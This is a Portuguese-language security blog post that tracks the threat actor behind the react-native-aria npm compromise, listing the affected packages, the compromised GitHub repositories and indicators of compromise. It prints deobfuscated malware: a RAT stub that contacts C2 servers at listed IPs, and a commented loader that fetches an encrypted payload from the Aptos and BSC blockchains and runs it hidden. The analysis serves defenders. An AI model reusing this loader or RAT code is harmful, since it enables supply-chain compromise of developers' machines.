Aikido

Um olhar mais aprofundado sobre o agente da ameaça por detrás do ataque react-native-aria

Charlie Eriksen
Charlie Eriksen
|
#
#

Talvez tenha visto a história recente sobre um grupo de agentes de ameaças que comprometeu 16 pacotes populares relacionados com o React Native Aria e o GlueStack, que descobrimos e documentámos aqui. Anteriormente, detectámos que tinham comprometido o pacote agente de utilizador de rand em 5 de maio de 2025, conforme comunicado aqui

Temos vindo a seguir este agente de ameaças desde então e observámos ataques mais pequenos que ainda não foram totalmente documentados em público. No entanto, quisemos compilá-los para dar uma imagem mais ampla da sua atividade. 

Pacotes maliciosos iniciais

No dia 8 de maio de 2025, os nossos sistemas já nos tinham alertado para dois novos pacotes no npm que pareciam ser maliciosos. São eles:

Estes foram ambos carregados pelo mesmo utilizador, aminengineerings, registado com o e-mail aminengineerings@gmail[.]com. Desde as primeiras versões, ambas continham o payload malicioso, o que indica que este pacote pertence aos próprios agentes da ameaça.

Mais pacotes maliciosos

Também vimos dois pacotes adicionais lançados pelo atacante após o ataque ao gluestack. Os pacotes foram lançados em 8 de junho de 2025, sob os nomes tailwindcss-animate-expand e mongoose-lit. Estes foram lançados por um utilizador chamado mattfarser. O utilizador foi rapidamente apagado.

Especificamente, o tailwindcss-animate-expand é digno de nota, pois tem uma estrutura de carga útil diferente. A primeira parte tem o seguinte aspeto:

global['r']=require;(function(){var Afr='',xzH=906-895;...

Já não vemos o global['_V'] sendo definida. Quando executamos isto numa sandbox, vemos que o payload final também é ligeiramente diferente. O payload tem este aspeto após a desofuscação:

global._V = 'A4';
(async () => {
  try {
    const c = global.r || require;
    const d = global._V || '0';
    const f = c('os');
    const g = c("path");
    const h = c('fs');
    const i = c('child_process');
    const j = c('crypto');
    const k = f.platform();
    const l = k.startsWith("win");
    const m = f.hostname();
    const n = f.userInfo().username;
    const o = f.type();
    const p = f.release();
    const q = o + " " + p;
    const r = process.execPath;
    const s = process.version;
    const u = new Date().toISOString();
    const v = process.cwd();
    const w = typeof __filename === "undefined" || __filename !== "[eval]";
    const x = typeof __dirname === 'undefined' ? v : __dirname;
    const y = g.join(f.homedir(), ".node_modules");
    if (typeof module === "object") {
      module.paths.push(g.join(y, "node_modules"));
    } else {
      if (global._module) {
        global._module.paths.push(g.join(y, "node_modules"));
      } else {
        if (global.m) {
          global.m.paths.push(g.join(y, 'node_modules'));
        }
      }
    }
    async function z(V, W) {
      return new global.Promise((X, Y) => {
        i.exec(V, W, (Z, a0, a1) => {
          if (Z) {
            Y("Error: " + Z.message);
            return;
          }
          if (a1) {
            Y("Stderr: " + a1);
            return;
          }
          X(a0);
        });
      });
    }
    function A(V) {
      try {
        c.resolve(V);
        return true;
      } catch (W) {
        return false;
      }
    }
    const B = A("axios");
    const C = A("socket.io-client");
    if (!B || !C) {
      try {
        const V = {
          "stdio": "inherit",
          windowsHide: true
        };
        const W = {
          "stdio": "inherit",
          "windowsHide": true
        };
        if (B) {
          await z("npm --prefix \"" + y + "\" install socket.io-client", V);
        } else {
          await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
        }
      } catch (X) {}
    }
    const D = c("axios");
    const E = c("form-data");
    const F = c("socket.io-client");
    let G;
    let H;
    let I = {};
    const J = d.startsWith('A4') ? "http://136.0.9.8:3306" : "http://166.88.4.2:443";
    const K = d.startsWith('A4') ? "http://136.0.9.8:27017" : "http://166.88.4.2:27017";
...

O que é especialmente interessante é o facto de vermos que a versão é A4que foi referido no ataque do fim de semana como um sinal para utilizar o novo servidor C2.

Verificamos também que o "antigo" servidor C2 já não é mencionado. Em vez disso, foi adicionado o IP 166.88.4[.]2.

Sinais de aviso

Antes deste ataque, notámos que alguns pequenos pacotes tinham sido comprometidos. Aqui estão os pacotes em que reparámos:

Embalagem Versão Data de lançamento
@lfwfinance/sdk 1.3.5 3 de junho de 2025
@lfwfinance/sdk-dev 2.0.10 3 de junho de 2025
algoritmo-htlc 1.0.2 3 de junho de 2025
avm-satoshi-dice 1.0.6 3 de junho de 2025
biatec-avm-estação de gás 1.1.2 3 de junho de 2025
arc200-cliente 1.0.7 3 de junho de 2025
nó cputil 0.6.6 3 de junho de 2025

Estes pacotes pertencem a três indivíduos diferentes e têm menos de 100 descarregamentos por semana. Parece que esses agentes de ameaças conseguem comprometer os tokens das contas npm de forma consistente. 

Repositórios GitHub comprometidos 

À medida que investigámos mais aprofundadamente estes ataques, decidimos examinar outros ecossistemas em busca de provas que pudessem fornecer mais informações sobre a forma como estes agentes de ameaças operam. Conseguimos detetar 19 repositórios no GitHub que foram comprometidos pelos mesmos agentes de ameaças:

Repo Data Compromisso
LZeroAnalytics / ethereum-faucet 04 Jun 2025 23ea1dd
LZeroAnalytics / hardhat-vrf-contracts 04 Jun 2025 f325ab6
DogukanGun / TurkClub 23 de maio de 2025 84aaa06
khaliduddin / jogo de números 19 de maio de 2025 36f20cb
DogukanGun / NexWallet 16 de maio de 2025 43193c5
DogukanGun / NexAI 14 de maio de 2025 74d5221
revoks / round-feather-1f9f 01 de maio de 2025 ca05542
Equipa LLM-Red / glm-free-api 28 de abril de 2025 16a0bfc
LLM-Red-Team / deepseek-free-api 08 Abr 2025 37f4c58
DogukanGun / modelos de condutas 02 Abr 2025 699eb16
mobileteamz / Landhsoft-Frontend 29 de março de 2025 e3636c9
UnderGod-dev / portfolio 29 de março de 2025 87f8add
DogukanGun / PopScope 26 de março de 2025 1775087
DogukanGun / NexAgent 23 de março de 2025 7ff7afa
Sid31 / frente-comprar-livre 28 de fevereiro de 2025 ce93a20
DogukanGun / supabase 12 de janeiro de 2025 71e169b
LLM-Red-Team / kimi-free-api 17 de dezembro de 2024 2e6397c
LLM-Red-Team / doubao-free-api 13 de dezembro de 2024 b0ce4e9
LLM-Red-Team / qwen-free-api 13 de dezembro de 2024 d8046bf

Há alguns commits que se destacam nestes, sendo um exemplo:

https://github.com/LZeroAnalytics/hardhat-vrf-contracts/commit/f325ab694ff83e12c96a99a58d51635e70edcdbf

O agente da ameaça alterou ligeiramente o payload que utiliza. Neste caso, codificou um payload em base64, que passa para eval(). Aqui está o payload descodificado, anotado com comentários que descrevem a sua funcionalidade.

/*****************************************************************************************
 *  Malware “loader” that hides its real payload on two block-chains.                    *
 *  Flow ⬇️                                                                             *
 *    🥇  Step-1  Read pointer on Aptos                                                 *
 *    🥈  Step-2  Use pointer on Binance Smart Chain (BSC)                              *
 *    🥉  Step-3  Pull out hidden blob                                                 *
 *    🗝️  Step-4  Decode & decrypt                                                    *
 *    🚀  Step-5  Run it silently                                                      *
 *****************************************************************************************/

/* ─────────────────────────────  Bootstrap  ───────────────────────────── */
global['r'] = require;                 // save `require` as global.r (little obfuscation)
(async () => {

  /* quick aliases */
  const c = global;                    // shorthand for `global`
  const i = c['r'];                    // shorthand for `require`

  /* 🛠 Helper 1: GET url → JSON  */
  async function e (url) {
    return new Promise((resolve, reject) => {
      i('https')
        .get(url, res => {
          let body = '';
          res.on('data', chunk => (body += chunk));
          res.on('end', () => {
            try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
          });
        })
        .on('error', reject)
        .end();
    });
  }

  /* 🛠 Helper 2: call BSC JSON-RPC  */
  async function o (method, params = []) {
    return new Promise((resolve, reject) => {
      const payload = JSON.stringify({ jsonrpc: '2.0', method, params, id: 1 });
      const opts    = { hostname: 'bsc-dataseed.binance.org', method: 'POST' };

      const req = i('https')
        .request(opts, res => {
          let body = '';
          res.on('data', chunk => (body += chunk));
          res.on('end', () => {
            try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
          });
        })
        .on('error', reject);

      req.write(payload);
      req.end();
    });
  }

  /* ─────────── Core routine that implements 🥇 → 🗝️ steps ─────────── */
  async function t (aptosAccount) {

    /* 🥇  STEP-1  Read pointer on Aptos */
    const latestTx  = await e(
      `https://fullnode.mainnet.aptoslabs.com/v1/accounts/${aptosAccount}/transactions?limit=1`
    );
    const bscHash   = latestTx[0].payload.arguments[0];   // pointer → BSC tx-hash

    /* 🥈  STEP-2  Fetch BSC transaction carrying the payload */
    const bscTx     = await o('eth_getTransactionByHash', [bscHash]);
    const hexBlob   = bscTx.result.input.slice(2);        // drop "0x"

    /* 🥉  STEP-3  Pull out hidden blob (still unreadable) */
    const rawText   = Buffer.from(hexBlob, 'hex').toString('utf8');
    const b64Chunk  = rawText.split('..')[1];             // keep part after ".."

    /* 🗝️  STEP-4  Decode & decrypt */
    const encrypted = atob(b64Chunk);                     // Base-64 → binary string
    const KEY       = '$v$5;kmc$ldm*5SA';
    let  payload    = '';

    for (let j = 0; j < encrypted.length; j++) {
      payload += String.fromCharCode(
        encrypted.charCodeAt(j) ^ KEY.charCodeAt(j % KEY.length)
      );
    }
    return payload;                                      // plain-text JS to execute
  }

  /* 🚀  STEP-5  Run it silently in the background */
  try {
    const script = await t(
      '0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d'
    );

    i('child_process')
      .spawn(
        'node',
        ['-e', `global['_V']='${c['_V'] || 0}';${script}`],
        { detached: true, stdio: 'ignore', windowsHide: true }
      )
      .on('error', () => { /* swallow child errors */ });

  } catch (err) {
    /* stay quiet on any failure */
  }

})();       

Este código é inteligente, uma vez que se arranca parcialmente a si próprio a partir do conteúdo de duas cadeias de blocos diferentes. Aqui está uma visão geral passo a passo:

A transação na Binance Smart Chain pode ser encontrada abaixo. Vale a pena notar que a carteira e o contrato existem desde 7 de fevereiro de 2025: 

https://bscscan.com/tx/0x5b28b2aa49bae766099aab7c74956d17c305079d9d3575256d3a72c310079c37

Executámos o código numa sandbox e obtivemos o payload final, que era o mesmo payload que já tínhamos documentado anteriormente, sem quaisquer alterações significativas. 

Conclusões

Vemos que o agente da ameaça está a comprometer de forma ativa e consistente não só os pacotes npm, mas também os repositórios do GitHub. Além disso, eles têm experimentado a implantação de seus próprios pacotes com seu RAT. Eles também começaram a usar Blockchains como um método de divulgação de seu código malicioso. 

Indicadores de compromisso

Pacotes

  • solanautil
  • web3-socketio
  • tailwindcss-animate-expand
  • mangusto-lite
  • @lfwfinance/sdk
  • @lfwfinance/sdk-dev
  • algoritmo-htlc
  • avm-satoshi-dice
  • biatec-avm-estação de gás
  • arc200-cliente
  • nó cputil

IPs

  • 166.88.4[.]2
  • 136.0.9[.]8

Conta Aptos

  • 0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d

Endereço do BSC

  • 0x9BC1355344B54DEDf3E44296916eD15653844509

Contrato BSC

  • 0x8EaC3198dD72f3e07108c4C7CFf43108AD48A71c

Obter segurança gratuitamente

Proteja seu código, nuvem e tempo de execução em um sistema central.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito |Avaliação dos resultados em 32 segundos.